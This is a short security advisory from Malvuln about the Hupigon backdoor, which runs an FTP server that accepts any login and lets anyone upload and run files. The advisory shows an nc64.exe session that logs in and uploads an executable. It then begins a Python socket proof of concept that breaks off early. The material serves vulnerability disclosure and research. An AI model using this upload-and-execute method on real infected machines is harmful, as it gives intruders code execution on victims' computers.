Backdoor.Win32.Hupigon.afjk malware suffers from bypass and code execution vulnerabilities.
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/80b0fc8c0657c0ae7971f09af45c706b_C.txt
Contact: [email protected]
Vulnerability: Authentication Bypass RCE
Description: The malware runs an FTP server on TCP port 2121. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Vuln ID: MVID-2021-0376
nc64.exe 192.168.18.125 2121
220 Welcome To huigezi Ftp!
331 Password required for malvuln.
230 User malvuln logged in.
215 UNIX Type: L8 Internet Component Suite
227 Entering Passive Mode (192,168,18,125,194,55).
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *
f = open(DOOM, "rb")
EXE = f.read()
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